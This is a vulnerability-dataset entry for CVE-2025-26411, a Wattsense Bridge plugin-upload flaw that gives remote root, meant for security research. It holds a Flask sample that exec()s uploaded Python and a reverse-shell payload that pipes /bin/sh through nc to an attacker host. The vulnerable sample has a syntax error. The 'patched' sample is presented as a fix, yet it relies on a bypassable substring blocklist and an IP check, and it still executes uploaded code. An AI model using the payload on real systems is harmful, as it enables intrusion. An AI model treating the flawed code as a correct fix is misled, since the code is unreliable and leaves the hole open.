CVE-2025-26411
Wattsense Bridge: Auth. attacker uploads malicious Python, gains remote root access.
- CVSS 8.8
- CWE-434
- Authentication, Authorization, and Session Management
- Remote
An authenticated attacker is able to use the Plugin Manager of the web interface of the Wattsense Bridge devices to upload malicious Python files to the device. This enables an attacker to gain remote root access to the device. An attacker needs a valid user account on the Wattsense web interface to be able to conduct this attack. This issue is fixed in recent firmware versions BSP >= 6.1.0.
- CWE
- CWE-434
- CVSS base score
- 8.8
- Published
- 2025-02-11
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Interface
- Code defect classification
- Incorrect Functionality
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Insecure Direct Object References (IDOR)
- Accessibility scope
- Remote
- Impact
- Privilege Escalation
- Affected component
- Wattsense Br
Solution
Upgrade to firmware BSP >= 6.1.0.
Vulnerable code sample
import os
import shutil
from flask import Flask, request, render_template, redirect, url_for
from werkzeug.utils import secure_filename:
UPLOAD_FOLDER = 'plugins'
ALLOWED_EXTENSIONS = {'py'}
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['SECRET_KEY'] = 'some_secret_key'
def allowed_file(filename):
"""Vulnerable function that demonstrates the security issue."""
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
"""Vulnerable function that demonstrates the security issue."""
plugins = []
if os.path.exists(UPLOAD_FOLDER):
plugins = os.listdir(UPLOAD_FOLDER)
return render_template('index.html', plugins=plugins)
@app.route('/upload', methods=['POST'])
def upload_file():
"""Vulnerable function that demonstrates the security issue."""
if 'file' not in request.files:
return 'No file part'
file = request.files['file']
if file.filename == '':
return 'No selected file'
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return redirect(url_for('index'))
else:
return "Invalid file type. Only .py files allowed."
@app.route('/run_plugin/<filename>')
def run_plugin(filename):
"""Vulnerable function that demonstrates the security issue."""
if filename.endswith('.py'):
try:
plugin_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
exec(open(plugin_path).read())
return f"Plugin '{filename}' executed successfully."
except Exception as e:
return f"Error executing plugin: {e}"
else:
return "Invalid plugin file."
@app.route('/delete_plugin/<filename>')
def delete_plugin(filename):
"""Vulnerable function that demonstrates the security issue."""
if filename.endswith('.py'):
try:
plugin_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
os.remove(plugin_path)
return f"Plugin '{filename}' deleted successfully."
except Exception as e:
return f"Error deleting plugin: {e}"
else:
return "Invalid plugin file."
if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
app.run()Patched code sample
import os
import shutil
import subprocess
from flask import Flask, request, render_template, redirect, url_for, abort
from werkzeug.utils import secure_filename
import logging
UPLOAD_FOLDER = 'plugins'
ALLOWED_EXTENSIONS = {'py'}
AUTHORIZED_USERS = ['admin']
LOGGING_FILE = 'app.log'
DANGEROUS_COMMANDS = ['os', 'subprocess', 'open', 'eval', 'exec', 'compile']
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['SECRET_KEY'] = 'some_secret_key'
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024
logging.basicConfig(filename=LOGGING_FILE, level=logging.INFO)
def allowed_file(filename):
"""Secure function that fixes the vulnerability."""
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def is_authorized():
"""Secure function that fixes the vulnerability."""
return request.remote_addr == '127.0.0.1'
def check_code(code):
"""Secure function that fixes the vulnerability."""
for command in DANGEROUS_COMMANDS:
if command in code:
return False
return True
@app.route('/', methods=['GET'])
def index():
"""Secure function that fixes the vulnerability."""
if not is_authorized():
abort(403)
plugins = []
if os.path.exists(UPLOAD_FOLDER):
plugins = os.listdir(UPLOAD_FOLDER)
return render_template('index.html', plugins=plugins)
@app.route('/upload', methods=['POST'])
def upload_file():
"""Secure function that fixes the vulnerability."""
if not is_authorized():
abort(403)
if 'file' not in request.files:
return 'No file part'
file = request.files['file']
if file.filename == '':
return 'No selected file'
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if not os.path.exists(app.config['UPLOAD_FOLDER']):
os.makedirs(app.config['UPLOAD_FOLDER'])
if '..' in filename or filename.startswith('/'):
return "Invalid filename."
file.save(file_path)
logging.info(f"File uploaded: {filename}")
return redirect(url_for('index'))
else:
return "Invalid file type. Only .py files allowed."
@app.route('/run_plugin/<filename>')
def run_plugin(filename):
"""Secure function that fixes the vulnerability."""
if not is_authorized():
abort(403)
if filename.endswith('.py'):
try:
plugin_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if not os.path.exists(plugin_path):
return "Plugin not found."
with open(plugin_path, 'r') as file:
plugin_code = file.read()
if not check_code(plugin_code):
return "Plugin contains dangerous commands and was blocked."
plugin_globals = {}
plugin_locals = {}
try:
exec(plugin_code, plugin_globals, plugin_locals)
return f"Plugin '{filename}' executed successfully."
except Exception as e:
return f"Error executing plugin: {e}"
except Exception as e:
return f"Error executing plugin: {e}"
else:
return "Invalid plugin file."
@app.route('/delete_plugin/<filename>')
def delete_plugin(filename):
"""Secure function that fixes the vulnerability."""
if not is_authorized():
abort(403)
if filename.endswith('.py'):
try:
plugin_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if os.path.exists(plugin_path):
os.remove(plugin_path)
logging.info(f"Plugin deleted: {filename}")
return f"Plugin '{filename}' deleted successfully."
else:
return "Plugin not found."
except Exception as e:
return f"Error deleting plugin: {e}"
else:
return "Invalid plugin file."
if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
app.run(host="0.0.0.0", port=8000)Payload
import os
os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> <ATTACKER_PORT> >/tmp/f")
Cite this entry
@misc{vaitp:cve202526411,
title = {{Wattsense Bridge: Auth. attacker uploads malicious Python, gains remote root access.
}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-26411},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-26411/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
